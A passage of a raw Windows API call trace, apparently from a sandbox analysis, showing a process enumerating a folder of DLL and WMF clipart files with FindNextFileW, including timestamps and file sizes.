ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0073.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, 